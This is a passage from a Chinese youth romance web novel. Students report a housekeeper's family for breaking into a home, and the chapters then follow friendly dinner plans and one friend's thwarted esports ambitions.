俞杨津津有味看着手机里的ATP巡回赛，随口说：“我看最近哭包的ATP排名上升挺快啊。” 韩辰听到, 回头好奇问：“谁啊？” 俞杨解释：“雷恩, 外号哭包，以前和我们一起在国外网球学院训练的西班牙球员, 雷恩和衍神关系特别好，之前他来中国时还住过衍神家。” 韩辰点点头，表示了解。 俞杨接着说：“之前看他的世界排名还是500之外，现在已经升到前200了。” “哎衍神，哭包换教练了吧？好像还签约了新经纪公司，上次看他推特账号有说这事。” “不得不说，他这一换教练，发球进步飞快啊，连姿势都改变了。” “是不是啊，衍神？” 俞杨在那边喋喋不休半天，结果柯译衍理都不理他一下，俞杨暂停视频，纳闷看向柯译衍，伸手推他。 “在干嘛？和你说话呢！” 还是没搭理他。 见状，俞杨追随柯译衍目光，探头探脑朝车窗外看去，一眼瞄见姜织宁，惊呼了声：“哎，那不是宁王吗？是她吧？” 柯译衍紧盯着姜织宁看了一会儿，很快敏锐察觉出不对劲。 正好出租车堵在路上无法动弹，他当即和司机说了声“这里下”，迅速推开车门，横穿绿化带，快步走向姜织宁。 红毛男头顶帽子还没来得及摘，就被不知道从哪里冒出来的人，猛力推得差点后仰摔倒。 脚步踉跄后退，他慌乱拽住灌木从，稳住身体后，气得将头上滑稽歪到一边的棒球帽狠狠摔到地上。 “操，你他妈谁啊！” 红毛男梗着脖子骂了句，气势汹汹冲到柯译衍身前，一副要打架的凶狠姿态。 随后赶来的俞杨及时抬手拦住红毛男，眼神不善，把人往后面推了推，一字一句，冷声道：“怎么说话呢兄弟？随便问候别人家妈妈干什么，有没有礼貌啊你？” “你有病吧！是他动手在先，反问我怎么说话？！” 红毛男瞪着俞杨，嚣张气焰顿时弱了两分，他也不傻，知道眼下情况对自己非常不利。 毕竟他是单兵作战，170的瘦小身板不占优势，而柯译衍和俞杨都是188的高个，所以他现在不能动手，确实干不过对方，得给威哥打电话，叫他们过来撑场。 思及此，红毛男当即转身走到不远处，打电话摇人去了。 见状，柯译衍侧目和俞杨对了下眼神，俞杨默契会意，慢悠悠跟上去盯着，以免叫人临时跑了。 柯译衍转过身，上上下下打量一遍，皱眉问：“没事吧？” 姜织宁冷静嗯了声，轻揉着被扯断头发的地方，“没什么事。” 柯译衍：“头痛？” “没有，刚被扯断几根头发。”她忧愁叹了口气，口吻中带着心痛，说，“也不知道会不会再长出来，唉，听说植发很痛的。” 柯译衍：“” “没开玩笑，头皮毛囊很珍贵的，要是坏死就没用了。”姜织宁怕柯译衍以为她在说笑，认真严肃地说。 说完，她临时想到什么，十分好心地补了句：“你们男生更要注意点。” 柯译衍：“什么？” 姜织宁：“真的，男性更容易秃头。” 姜织宁：“早发现早治疗。” 柯译衍：“” 话题怎么就跳到秃头去了？ 柯译衍陷入无言，一时之间，竟不知道该怎么回应。 他下意识扫了眼姜织宁黑而亮的长发，这不很茂盛吗，何必一脸担心。 无语数秒后，最后还是没忍住，柯译衍忍俊不禁，拉直的凛冽唇线不受自控上扬起来，短促笑了几声。 本来还担心姜织宁会不会受到惊吓，结果她倒是情绪稳定，从容镇定得很。 行，柯译衍佩服点点头，下巴冲红毛男指了下，脸色冷冽问：“那人怎么你了？” “小区门口撞见的，我不认识他。”姜织宁蹙眉，低声说，“他刚从我家出来，不知道怎么进去的，还偷拿了这些东西出来。” 她指了下不远处散落开的塑料袋。 “大晚上从你家出来？”韩辰眼神震惊，毛骨悚然道，“卧槽，那不就是小偷吗？！” 姜织宁扭头看韩辰一眼，纳闷心想，这人从哪里冒出来的？ 念头转瞬即逝，她现在没闲心管别的。 柯译衍沉思数秒，想起傍晚出门时主动和他搭讪的金发女生，没记错的话，女生长得和红毛男有几分相似。 他皱眉看着姜织宁，问：“今天下午，除了周静瑶，你有叫其他女生来过家里么？金色长发，穿短裙的女生，傍晚六点左右。” “没有啊。”姜织宁眼神茫然，回他，“我只约了周静瑶过来玩，而且我们五点左右就出门吃饭去了。” 柯译衍挑了挑眉，果断下结论：“那就报警吧，不止一个人进你家。” 姜织宁：“” 不止一个？？？ 搞什么啊，她家又不是什么公共景点！ 于是，红毛男还没等来他那混社会的威哥，就被附近派出所的民警带走了。 俞杨很义气，想一起跟过去给姜织宁撑场子，但是他临时接到家里打来的催促电话，现场又有柯译衍在，只好恋恋不舍先行离开。 而韩辰身为艺人，身份特殊，也不太好跟去派出所露脸，柯译衍便让韩辰先回去。 派出所就在附近，过去路上，姜织宁接到姑姑急切打来的询问电话，她全程情绪稳定，冷静清晰地讲述了一遍红毛男行踪诡异，擅自进家门的离谱事。 姜颖这两天在外地出差，按计划明天才回来，因为工作提前完成，便改签成今晚的航班。 收到姜织宁照片的时候，飞机还没落地，等落地后，看到微信里的照片和留言，再听完那段录音，姜颖细思极恐，同时大为光火！ 难怪她之前放家里的各种补品消耗的这么快，绝对是被刘萍私下偷吃了！ 姜颖立马给姜织宁打了个电话，先确认侄女是否安全，紧接着给律师打电话，叫人赶向派出所汇合。 派出所。 一开始，红毛男听完姜织宁单方面的说辞，死鸭子嘴硬不承认，直到姜织宁冷静拿出刚才路上录的录音，他才脸色慌张，支支吾吾转移话题，把黑锅甩给他亲妹妹。 由于两边都是未成年人，所以需要通知监护人到场，刘萍接到电话后，踹踹不安赶过来。 等待期间，警察对柯译衍傍晚看到红毛男妹妹，也就是那位金发女生私自进入姜织宁家的情况做了笔录。 笔录做完不久，旁边路过一位较年长的警察。 中年男人忽然停下脚步，定睛看着柯译衍，随后笑起来：“哟，怎么又是你呢。” “张警官。”柯译衍抬眼，打了声招呼。 嗯？ 又？是？你？ 姜织宁慢吞吞转头，眼神狐疑盯着柯译衍。 柯译衍接收到姜织宁充满怀疑的视线，无声和她对视几秒后，淡定问：“这是什么眼神？” 姜织宁眨了眨眼，心情很复杂，欲言又止。 虽然什么都没说，但从她意味深长的注视里，柯译衍明显能辨出一种“不会吧，你以前还进去过？？？” 的不可思议。 柯译衍：“” 她在胡思乱想什么啊。 张警官好奇问：“今天是来干嘛？” “陪她过来。”柯译衍下巴微抬，指了下姜织宁。 张警官看看姜织宁，目光回到柯译衍这边，脸上笑眯眯，思想洋气地说：“哦，小女朋友啊？” 柯译衍：“” 柯译衍下意识看向姜织宁，发现她抿着唇，也是一脸无语表情，估计心里在想，这大叔怎么不正经乱说。 两小朋友默契无语的样子给张警官逗乐了，他哈哈大笑了几声，一本正经讲：“是妹妹吧？” 柯译衍：“” 姜织宁：“？” 姜织宁觉得很离谱，她怎么就成妹妹了？ 她忍不住为自己正名，主动开口纠正说：“是学姐。” 柯译衍：“？” 很困惑，哪门子来的学姐？ 先不论姜织宁现在读高几，就在刚才，他不经意看到她的身份证信息，发现她和他是同一年出生，而且还比他小几个月。 柯译衍慢悠悠瞥了眼姜织宁，不紧不慢纠正说：“同班同学。” 这回姜织宁没反驳。 倒不是认输，是因为突然想起来她学姐的身份已经是过去式，她现在读高二，和柯译衍确实是平起平坐的同班同学。 张警官笑眯眯观赏着因为自己而引发的身份地位之争，见两人内部达成一致说法后，目光望向柯译衍，问：“这次又是见义勇为？” 柯译衍笑了笑：“算是。” 张警官扬眉：“以后有没有兴趣考警校？我觉得你很有缘啊。” 柯译衍唇角弯了弯，笑而不语。 接下来的时间，张警官和柯译衍闲聊了会儿。 先是透露说，柯译衍之前在柏风百货抓到的偷拍猥琐男牵扯出一桩大案，接着又讲，柯译衍推荐的那几本辅助教材挺不错的，自家儿子学习之后受益匪浅。 姜织宁安静听着两人聊天。 期间，自动提取了几个关键词后，她对柯译衍的心情，从茫然到困惑、惊讶、震惊、佩服、充满尊敬，最后停留于跃跃欲试。 原来，她这位同桌竟是热心市民呢！ 等到张警官离开后，姜织宁直勾勾盯着柯译衍，目光无比明亮，眼里充满了尊敬。 柯译衍：“” 又来了，她又开始对他摆出一副欲言又止的小猫爪挠人态度。 柯译衍真心觉得，他无福消受姜织宁这么深刻的凝视，轻叹了口气，看着她，忍不住主动开口：“想说什么？” 姜织宁眉眼弯弯笑起来：“就前段时间，是你在柏风百货抓住偷拍男？” 他淡淡嗯了声。 姜织宁立马问：“那个方便加你微信吗？” 柯译衍平静看着她，没说话。 她连忙解释：“别误会，你还记得差点被偷拍的红格子短裙女生吗？就是一起和你们去派出所的那个女生，其实她是我朋友，名叫格子，我们都在同一个街舞机构上课。” “格子姐之前说，她很想请你吃饭感谢，但当时忘记问你要联系方式，所以我就帮她问问你，方不方便把微信号给她？ ” 哦，合着绕半天，她是在帮别人要微信。 她是热心市民啊？ 柯译衍眼神瞬间冷淡下来。 姜织宁也不傻，本来就是顺嘴一问，眼看他态度秒变冷淡，便识趣地说：“没事，不方便的话就算了。” 第25章 少女的真心明月可鉴 没过多久, 姜织宁姑姑携律师赶到派出所。 姜颖进门冷眼扫视一圈，尖锐目光停在某处，嘴里喊着“宁宝！”, 一路疾步到姜织宁面前。 女人将侄女轻拉起来，全身上下仔细打量着。 “宁宝你没事吧？吓着没？有没有哪里受伤啊？” 姜织宁笑回：“没事的姑姑。” “真没事吗？” “放心, 我真的没事，也没受伤。” 亲眼看到姜织宁安全无恙, 姜颖才彻底放下悬空的心，赶来的路上, 她都快急死了。 大哥大嫂去世后, 姜颖便自愿承担起照顾侄女的责任, 她知道自己并不是性格细致的人，早年照顾姜织宁的时候, 她总犯迷糊劲。 上半年姜织宁被椅子砸进医院动手术，已经让一家人提心吊胆很久, 姜颖更是接连做了一个月的噩梦。 大哥在梦里阴森森地凝视着她，也不说话, 特别渗人，仿佛在无声指责她没照顾好姜织宁, 吓得姜颖连忙跑去庙里烧香做法事。 哥嫂已经不在了, 除了两个老人, 姜家只剩下她和姜织宁, 姜颖真的很怕侄女再出什么意外。 柯译衍就坐在边上，姜颖余光瞄见他, 脸上立马露出亲切笑容, 目光挪向姜织宁，低声询问：“你同学叫什么名来着？” 不等姜织宁回答, 柯译衍主动起身自我介绍。 姜颖笑：“译衍是吧？哎呀，阿姨这次真的要特别感谢你，还有上次停车场帮忙也是！我家宁宝和我说了，说幸好有你在场帮忙，她才没出什么事，否则，阿姨真的不知道会有什么严重后果！” “听说你还是宁宝的同班同学，哎呀，你看这缘分巧的！宁宝这个小可怜，身体本来就很不好，译衍，真是谢谢你啊！” 姜颖一口一个宁宝的，让柯译衍听着稍稍有点不习惯，交谈期间，他垂眸瞥了姜织宁好几眼。 主要是因为在学校里，周围人都喜欢喊姜织宁——宁王，现在突然从霸气宁王变成软萌宁宝，画风突变有点大。 确认过姜织宁身心状态后，姜颖脸色一变，开始处理起刘萍这边的事。 刘萍是姜颖半年前雇来的。 之前照顾家人的阿姨要回老家处理事情，向姜颖请了几个月的假，所以姜颖临时找来刘萍顶替一段时间。 怎么说呢，比起之前的阿姨，刘萍整体工作能力上肯定不如前者，毕竟之前那位已经在姜家呆好几年了，但是要说刘萍差，那也谈不上，否则姜颖也不会留下她。 大概就是普通水平的程度。 原本姜颖和刘萍谈的就是短期，只雇佣她半年，后来姜颖考虑到姜织宁要租到学校附近住，自己因为忙于公司业务经常不回家，所以就留下刘萍，将人叫来新家照顾姜织宁，还给她涨了工资。 可谁知道，刘萍居然会没良心做起小偷小摸的事，还不止今天一次。 一儿一女都还在读书，刘萍想要和解了事，但姜颖坚决不同意，她对红毛男偷拍家里照片，企图私自贩卖的行为非常愤怒！ 姜颖全程冷着脸，不同意和解，让警察按规矩处理，必须让一家三口进去，无论刘萍怎么哭求都没用。 事情阶段性处理完，天色已经很晚了，柯译衍没走，一直留在派出所耐心陪着姜织宁。 三人前后走出电梯，柯译衍提醒姜颖，最好全面检查下家里有没有什么异常，如果需要帮忙，可以叫他。 姜颖笑眯眯点头，对他说：“译衍，今天真是辛苦你了，你快回去休息吧。” 大门关上，姜颖一边四处检查，一边又开始赞不绝口地夸起柯译衍。 从派出所出来之后，姜颖三句不离柯译衍，一直在各种夸他，就连称呼都变了。 原先是——对面那帅哥。 现在是无比亲切的——译衍。 姜织宁想想就觉得好笑。 姜颖喋喋不休：“你这同学人真不错，长得帅就不用说了，成绩也好，还礼貌懂事有责任心。那教养品行都不用我说，就摆在那儿，品学兼优，真的特别好，估计他父母也是很有涵养的人。” “姑姑这么喜欢他。”姜织宁忍不住说了句。 “那当然喜欢了！我们做长辈的，谁不喜欢优秀懂事的小朋友？姑姑是过来人，你们这个年纪的小朋友啊，大部分人都很浮躁冲动，尤其是男生，但是译衍就不会，他的言行举止就很稳，不骄不躁，这很难得，他将来一定是做大事的人。” 姜颖本来就对柯译衍印象很不错，经过今晚这事，更是光环点满，视他为别人家的小孩。 她长叹了口气，由心地说：“宁宝，译衍要是你的亲哥哥就好了，这样就能多个家人照顾你。” 姜颖并不是无厘头说出这句话。 她虽然是姜家的老来女，但父母对她的管教还是很严厉的，唯有姜织宁父亲，也就她的亲哥哥从小宠着她，溺爱她。 可以说是宠妹狂魔。 姜颖和亲哥哥的脾性完全是两种极端。 妹妹叛逆倔犟、脾气火爆，哥哥则听话懂事、温和有礼，典型别人家的小孩儿，每当妹妹犯错的时候，哥哥在父母面前没少帮她顶包说话。 其实一开始，父母并不同意姜颖走模特这条路，正因为有哥哥坚定不移的支持，她才能成功走上属于自己的人生道路，如今还拥有了自己的时装品牌。 另一边，姜织宁诧异心想，姑姑居然喜欢柯译衍喜欢到这种程度了吗？ 姜织宁茫然啊了声，无言数秒后，琢磨说：“柯译衍应该比我小吧。” 姜颖：“那弟弟也行啊，没差别的，无论什么关系，他都会做得很好。好了，房间给你检查过了，没什么问题，床品也全换了新的，快去洗澡休息吧。” 姜织宁哦了声。 洗簌完，姜织宁躺进被窝，照例打开手机里的睡前纯音乐，让自己精神安定下来。 不一会儿，房间门被敲响。 姑姑打开房门，倚靠门口，提议说：“宁宝，明天叫译衍来吃饭。” “啊？”姜织宁愣了下，暂停音乐，“请他吃饭？” 姜颖：“他帮了我们这么大忙，理应请人家吃饭感谢。” 说得有道理，姜织宁赞同点头，问：“是在我们家吃吗，姑姑露一手？” 姜颖淡定说：“露不了，我要下厨的话，你们都得进医院，这点自知之明姑姑还是有的。” 姜织宁弯唇笑起来。 姜颖利索安排道：“给你们定餐厅吧，就你喜欢的久悸好了，一起叫上另外两个同学。到时候你们吃完饭，可以顺路去划个船，再一起看看电影，逛逛商场也行，姑姑就不去打扰你们了。” 姜织宁没意见，嗯了声。 “哎呀，多么单纯美好的小朋友聚会，姑姑还是很怀念青春期的，你要多珍惜啊。” 姜颖神情感慨，施施然离开，姜织宁哭笑不得。 她怕明天通知来不及，正好周末大家都是夜猫子，便拿起手机，挨个联系。 先给周静瑶发了条信息，那边秒回OK表情包，接着去找柯译衍，翻了一会儿通讯录，才想起来没有他的联系方式。 要不去对面敲门试试？ 不行再说。 姜织宁没多想，从床上利索爬起来，穿上拖鞋，到衣橱里随便拿了件薄外套穿上，打开房门走向玄关。 她打开大门，头刚探出去的那一瞬间，对面大门默契打开，柯译衍从门里走出来，穿了身灰色宽松卫衣，卫衣帽套头，手里拎着两袋东西。 这么巧啊，姜织宁眼睛瞬间亮起来。 刚出门的时候，柯译衍并没有注意到姜织宁，快要拐到电梯那边时，才余光瞄见少女从门缝里探出个小巧脑袋，一声不吭，安静望着他。 柯译衍：“” 不得不说，大晚上，她这样是有点吓人的。 看对方发现自己，姜织宁笑眯眯直起身，从门里走出来：“你干嘛呢？” 柯译衍示意了下手里的黑色垃圾袋。 她立马会意点头：“哦，等我下。” 片刻，姜织宁也拎了个鼓鼓囊囊的垃圾袋出来。 “走吧，一起去扔垃圾。” “” 这种小事也要成群结队吗？ 柯译衍的直男思想不太理解这种行为，不过，不理解归不理解，他可以闭上嘴，做到充分尊重。 两人一前一后走进电梯，金属门关上，姜织宁主动开口：“这么晚还没睡？” “你不也是。”柯译衍淡笑了下。 “本来要睡了，姑姑临时安排明天聚餐，对了，你明天中午有空吗？” “有事？” 她点头：“有，明天中午想请你吃饭。” 柯译衍挑眉：“这么突然？” 姜织宁看他一眼，解释：“不突然啊，本来就要请你喝饮料嘛，当前，主要是因为今晚派出所帮忙这件事，姑姑想请你吃顿饭感谢一下，没别的意思。” 夜深人静，黄澄澄的月亮悬挂半空，沿路草坪上亮着圆圆的橘黄色小地灯。 小区无比静谧，路上没什么人影，这个时间点大部分人已经在睡梦中，只有一两个遛狗的居民安静擦肩而过。 姜织宁把垃圾袋扔进桶里，双手放进衣服兜里，脚步慢悠悠，和柯译衍并肩往回走。 “其实，”她收回欣赏月亮的目光，扭头望向柯译衍，真心诚意地说，“不只是姑姑的意思，我也想请你吃饭，以朋友的名义。” “朋友？” 柯译衍停下脚步，平静看着她。 姜织宁翘起唇角，面露笑容，语气轻松：“是啊，如果你愿意的话。” 她主动向他发出邀请。 上次给柯译衍送水果，纯粹是帮姑姑办事，而这次请他吃饭，则是姜织宁主动拉近关系，试着走向他。 她希望，和柯译衍不仅仅是同学关系，而是比同学更加亲密的朋友关系。 在她的认知里，如果彼此能成为朋友的话，那柯译衍以后需要她帮忙的地方，她也会义不容辞的。 她对朋友，向来讲义气。 至于为什么想柯译衍和做朋友，如果一定要说原因的话，姜织宁心想，大概是因为她遇见了由内到外都很耀眼的人，很难不被吸引。 姜织宁并不是以成绩和容貌去评判少年是否优秀。 而是你看，柯译衍不是中二装逼犯，懂得尊重人，知道好好说话，不会和蔡从一样狗里狗气，帮了她好几次，还是位热心市民。 比起这些优点，他的冷淡话少都不算什么事了。 反正怎么说呢，就挺想和他做朋友的。 月光皎洁如纱，在少女脸上覆了层柔和的光，柯译衍被姜织宁清凌凌地注视着，沉默不语。 她脸上的表情，嘴里说的话，都无比真诚坦率。 是让他无法拒绝的真心实意。 少女的真心，明月可鉴。 “行吗，朋友？”姜织宁笑盈盈看着他，直球催问。 她都替他答应了，他还能怎么说。 柯译衍心服口服败给她，勾唇笑起来，慢悠悠点头：“行啊。” 得到他肯定回应，姜织宁挺高兴，笑眼弯弯迈步往前走，继而说：“那就明天中午久悸见。对了，我没有俞杨的联系方式，你帮我通知他一下，还有韩辰。” “韩辰？”柯译衍困惑心想，有他什么事？ 姜织宁一本正经解释：“他算参与奖，其实他是我幼儿园同学，你能联系到他吗？” 虽然韩辰在现场没呆多久，但好歹也算个人头，而且姜织宁和他又有层幼儿园同学的关系，所以可以一起吃个饭叙叙旧，前提是这位大明星有时间，且经纪人允许的情况下。 参与奖，柯译衍被这个独特的形容词逗得笑了下，淡声说：“嗯，他就住楼下。” “谁住楼下？” “韩辰。” “啊？？？” “嗯，八楼，租了两户。” “” 姜织宁很震惊，努力咽下呼之欲出的“他神经啊！”，一脸茫然反问：“他搬这边来干什么？不做明星了？？？” 柯译衍懒散抱臂，嗤笑：“他闲的。” 第26章 你这个吃软饭的家伙！ 久悸是一家米其林餐厅, 做的是创新中餐，总店在雾京，全国各地开有分店, 味道很不错，是商务宴请的首选。 餐厅老板独爱风雅韵味, 喜欢将店址设在景区附近，打造成安静隐蔽, 绿植林立，景色宜人的用餐环境, 还会给食客提供趣味餐后服务, 比如划船、上山采茶叶、挖笋、摘水果之类。 姑姑预定的这家分店就在景区里面, 四面都是湖，包厢落地窗外便是大片大片的荷花, 风光无限好。 姜织宁和柯译衍在餐厅大厅碰上，正要一起往包厢走时, 迎面撞见蔡从父母走过来，姜织宁主动打了声招呼。 蔡从父亲扫了眼姜织宁一行人, 都是年轻面孔，便笑眯眯说：“宁宝, 和同学一起来吃饭？” “对。” “你姑姑呢？” 姜织宁微笑回：“姑姑没来, 她说不打扰小朋友聚会。” 蔡从父亲哈哈大笑起来。 一直知道蔡从家有定期家庭聚餐的习惯, 没发现蔡从人影, 姜织宁便好奇问了句：“叔叔，蔡从没来？” 男人一听到这俩字, 原本愉悦的脸色顿时沉冷下来。 他不满哼了声, 下巴冲落地窗外一指，沉脸骂了句：“一天到晚, 不知道在干什么！” 姜织宁目光随之看过去。 落地窗的另一面是户外休闲区域，餐厅建造了假山水池，诺大水池中养着不少锦鲤。 蔡从姿态懒散站在水池边，在喂鱼。 姜织宁收回视线，偏头和周静瑶对视一眼，她们默契猜到，蔡从又和父母吵架了。 三人从小一起长大，自然清楚蔡从的家庭矛盾特别多，夫妻之间，父子之间，母子之间，各种层出不穷的狗血问题，绝对比电视剧还精彩。 见状，姜织宁和周静瑶说：“你带他们先进包厢点菜，我等会过来。” 周静瑶会意点头。 沿着走廊，姜织宁一路绕到户外。 她走到蔡从身边，从他那边分了点鱼食，一边喂鱼，一边打趣说：“我说蔡总啊，怎么每次都能看到你在这儿喂鱼呢？怎么样啊，喂了这么久，这群锦鲤应该认识你了吧？” 蔡从懒洋洋瞥她一眼，笑道：“来吃饭？” 姜织宁：“不然专门过来喂鱼吗？” 他挑了下眉，深深叹气：“真没良心啊，都不叫我，过来吃独食。” “少在宁王面前卖惨。”姜织宁无语，“你不是家庭聚餐吗，我怎么叫你啊，干什么，心情不好？又和叔叔吵架了？” 蔡从笑笑：“挺细心啊你，这都能看得出来。” 她也笑起来：“刚在走廊上碰见你爸妈了，至于你嘛，我又不是不知道，你每次心情不好，就会来这边喂鱼，你和叔叔阿姨吵什么？这次又怎么了？” 鱼食喂完，蔡从拍干净手，简洁说：“老样子呗，前程问题。” 姜织宁秒懂，接话说：“家里希望你以后接手公司，但你还是想从事游戏行业？” 他点了点头。 蔡从在游戏上是有天赋的，本人的梦想一直是成为电竞职业选手，他曾经拥有好几次加入知名电竞俱乐部青训队的机会，但是最后都被父母阻拦了。 家里生意越做越大，父母思想观念传统，希望蔡从以后学商科，毕业后按部就班，继承家业，坚决不同意他走电竞职业选手这条路。 甚至，父母还通过关系给电竞圈放狠话，不允许任何俱乐部接收蔡从，以此斩断蔡从的痴心妄想。 俱乐部的老板们也是聪明人，自然不会向蔡家少爷抛出橄榄枝，这一招也确实狠，算是彻底堵死了蔡从追求梦想的路。 正因为这件事，蔡从和家里关系闹得很僵 姜织宁蹙眉：“现在已经高三了，你怎么打算的？” 蔡从叹气：“好好学习，天天向上，出国读大学呗。” “妥协读商科？”她对他的选择有些意外。 手臂散漫环到胸前，蔡从嗤笑一声，语气不屑地说：“这就小看我了，怎么可能读商科。” “那你什么计划？”姜织宁神色不解。 知道姜织宁是自己人，所以蔡从毫不避讳，淡定讲出他的新计划。 “曲线救国，读计算机专业，之后拉人成立游戏工作室。” 啊？ 所以这是做不了电竞职业选手，干脆直接去做游戏吗？？？ 这这就有点牛了吧 姜织宁瞠目结舌，一时之间，她被蔡从的大胆想法震惊到话都说不出来。 蔡从斜眼看她，突然问：“你有什么指教？” 姜织宁无言好一会儿，佩服得五体投地说：“指教没有，倒是想给你举杯，厉害厉害，蔡总不愧是我们疯人联盟的成员。” “敬疯狂者。”她笑眼弯弯望着少年。 蔡从默契笑起来。 姜织宁很感慨：“看不出来啊蔡总，为了捍卫梦想，居然这么有魄力的吗？那你创业本金从哪里来，研发游戏得花不少钱。” “啊，好问题。”蔡从点点头。 他若有所思片刻后，突然偏头看向姜织宁，嘴唇扯出一抹坏笑，笑嘻嘻询问：“有没有兴趣订个婚啊宁王？” 姜织宁：“？” 脸上笑容瞬间消失。 真是绝了。 这神经病果然不经夸，居然能想到这种馊主意，才刚夸他蔡总哎，结果又变成蔡狗了。 通常来说，朋友之间突然蹦出订婚的吓人话，被求婚的那一位心中大概率想的是—— 我把你当朋友，你居然那什么什么我！ 但是姜织宁不会，她绝对不会联想到蔡从那什么什么她。 此时此刻，她满脑子想的都是—— 哦，她又要开始骂人了。 学校里，有关姜织宁和蔡从订过娃娃亲的传闻并没有说错，双方父母相识很多年，确实给两人口头上订过娃娃亲，并不是闹着玩，而是当真那种。 蔡从父母从小就很喜欢姜织宁，一直将她当成未来宝贝儿媳看待，至于姜织宁和蔡从，那当然都没有这方面的想法。 两人心里很清楚，清楚彼此最多成为两肋插刀的好朋友关系。 做不了情侣的。 因为—— 一个不想天天骂人，一个不想天天挨骂。 不过，虽然没有这方面的想法，但青梅竹马、娃娃亲的名头还是很有好处的，能帮姜织宁挡走不少莫名其妙的烂桃花，让她的校园生活清净许多。 她现在的愿望就是不受打扰，一路清净到毕业 蔡从察觉姜织宁脸色不好看，轻咳了声，及时改口说：“假订婚。” “假订婚，然后呢？”姜织宁面无表情斜他一眼，没好气质问。 他很有想法地说：“然后，就能从老头那边套到创业本金。” 姜织宁干巴巴哦了声：“好主意，那你给我什么好处？起码赃款分我一半，我才会考虑考虑。” 一半？ 狮子大开口啊她。 蔡从有些不可思议，倒吸凉气：“这就有点多了吧，要不，给你折合成股份？” “股份等到猴年马月才能变现，不行，”姜织宁无情拒绝，“我就要现金。” “……”蔡从懒洋洋“喂”了声，“再商量商量啊宁王。” “没得商量。” 两人在这边异想天开，胡说八道，另一边的包厢里，俞杨已经戏精脑补很久了。 都这么久了，眼看姜织宁还没回来，俞杨忍不住喊了声周导，十分八卦地问：“我听说，宁王和蔡总是青梅竹马？” 周静瑶：“对啊。” 他紧接着问：“那宁王……真是蔡总的未婚妻？？？” “什么？”周静瑶眼神迷茫。 俞杨咳了声，状似无意地说：“我听说，这两位订过娃娃亲。” 哦，这下懂了。 周静瑶反应过来，意味深长看着俞杨，反问：“想知道啊？” 俞杨小鸡啄米点头。 周静瑶卖神秘，笑眯眯说：“那你就去问她呗。” 俞杨茫然“啊？”了声，问题是，他不敢问啊。 不过，周静瑶居然没有否认，那就说明确有其事，否则按照她的暴脾气，早就臭脸反驳骂人了。 就在他这么想时，周静瑶忽然追问一句：“你想干什么？” 俞杨：“没干什么，就问问嘛。” “哦。”周静瑶淡定点点头，语出惊人来了句，“你不会是喜欢宁王吧？” 话音落下，一瞬间，包厢里的视线全部“嗖嗖嗖！”射到俞杨脸上。 柯译衍面无表情侧目，眼神冷淡盯着俞杨。 俞杨害怕极了，整张脸色直接红成关公状，疯狂摆手，念经式否认：“没有没有没有没有没有没有” “是吗？”周静瑶一脸怀疑。 俞杨举手发誓，眼神坚定地像要入党。 “绝！对！没！有！” “我就是好奇而已！” 作为姜织宁的闺蜜，有很多人想通过周静瑶这里，打听姜织宁的感情状况。 就俞杨问的这个问题，早就有不少人主动找她问过，表面上装无所谓，说什么好奇问问，其实暗藏私心，就是想确认下能不能追姜织宁。 特别有心机。 就在这时，包厢门被推开，姜织宁回来了。 周静瑶：“聊这么久？” 姜织宁一本正经点头：“嗯，和蔡总谈一桩大生意。” 周静瑶哈了声，说笑问：“谈成功没？” 姜织宁坐到柯译衍身边，摇头说：“没，赃款分配没谈成。” “所以蔡总又和家里怎么了？” “老问题。” “他以后想去打游戏，但家里不让？” “没错。” 周静瑶神情感慨：“他是真心热爱游戏。” 姜织宁笑笑：“就和你想做导演一样。” 处于尴尬状态的俞杨听见周静瑶主动提起别的话题，连忙插嘴附和，求教问：“周导，这个以后想去打游戏，但家里不让是什么意思？去哪里打游戏啊？” 周静瑶解释：“我们蔡总的梦想是成为电竞职业选手，酷不酷？” 俞杨愣了愣。 反差这么大的吗？ 没想到，蔡从的梦想居然是电竞职业选手，这就有点牛了，他以为，这位富二代少爷会选择继承家业。 像他们这个年纪的男生，大多数都喜欢打游戏，包括俞杨，但很可惜，他没什么时间玩，业务时间基本全扑在网球训练上，所以他游戏水平挺菜的。 柯译衍的游戏水平倒是很厉害，无论什么游戏，只要到他手里就能很快上手，不过柯译衍也很少玩，一来没游戏瘾，二来确实没那么多空闲时间。 “酷酷酷！”俞杨满脸佩服点头，追问道，“蔡总打游戏很厉害吗？” 周静瑶随便报了几个著名俱乐部的名字，说蔡从完全能进他们的青训队。 “那水平确实厉害。”俞杨了然点点头，扭头对柯译衍说。 甭管什么行业，能做到极致就是牛逼。 俞杨继续说：“既然有资格进青训队，那蔡总不考虑去试一试？万一打出成绩呢？” 周静瑶翻了个白眼：“父母不同意怎么试？你当俱乐部傻啊，他们不会冒风险接收未成年的，尤其是，蔡总这种家里有头有脸的未成年。” “就算打出成绩，又能怎么样？这条路在蔡总父母的眼里，那就是上不了台面的歪门邪道，就算拿全球冠军都没用，一辈子都不会支持的。你们知道吗，蔡叔叔还专门找圈内人通过气，不允许任何俱乐部接触蔡从。” 俞杨震惊瞪大眼，匪夷所思“啊？”了声。 这么惨的吗 这特殊待遇，和封杀有什么区别啊 大概是想到同病相怜，周静瑶又拿自己举起例子。 “我妈没有蔡叔叔这么绝，但也差不多啊，我妈不同意我以后去拍东西。”她很是惆怅地叹了口气，“你没体会过家人不理解、不支持的感觉，是真的很打击人。” 俞杨确实没体会过，他也知道自己很幸运，尤其是和家庭关系复杂的柯译衍比起来。 从小到大，他家庭氛围开明和谐，选择的网球运动员这条路也是因为自己喜欢，并且受到父母全力支持。 虽然没体会过周静瑶说的这种感觉，但俞杨明白，不是每个人都能像他这样幸运，在这个年纪里，在父母面前，可以拥有说“我想要”和“我不要”的权利。 俞杨瞠目结舌听下来，还挺为蔡从感到惋惜，叹了口气，忍不住感慨说了句：“每个人都是天才，但如果你以爬树的能力去评判一条鱼，它将终其一生相信自己是个笨蛋。” 周静瑶听到这句话，顿时侧目看了眼姜织宁，然后对俞杨意味深长地“哦哟～”起来。 “你干嘛？”俞杨表情警惕。 周静瑶靠到椅背上，耐人寻味讲：“就是觉得你俩挺凑巧啊，宁王昨天刚和我说过这句话。” 言下之意，俞杨你小子，该不会真喜欢姜织宁吧？？？ 俞杨看着周静瑶磨刀霍霍的神色，后背都要吓出冷汗了！ 情急之中，他赶忙推了下旁边默不作声的柯译衍，表示：“这是他以前对我说过的话，是不是啊衍神！” 姜织宁扭头看向柯译衍。 这几年，江洲市一直在大力扶持体育产业，尤其是网球项目，接连落地高规格网球赛事，直接促进在国际网球赛事中冒出头的江洲籍新星球员越来越多。 因此，本地各大学校在体育特长生的招生中，响应政策，陆续新增、扩大网球项目的招生计划。 如果单论文化课成绩，俞杨是绝对进不了江中本部的，连分校都悬，他就是以网球特长生的身份幸运入学江中本部，目前是校队成员之一。 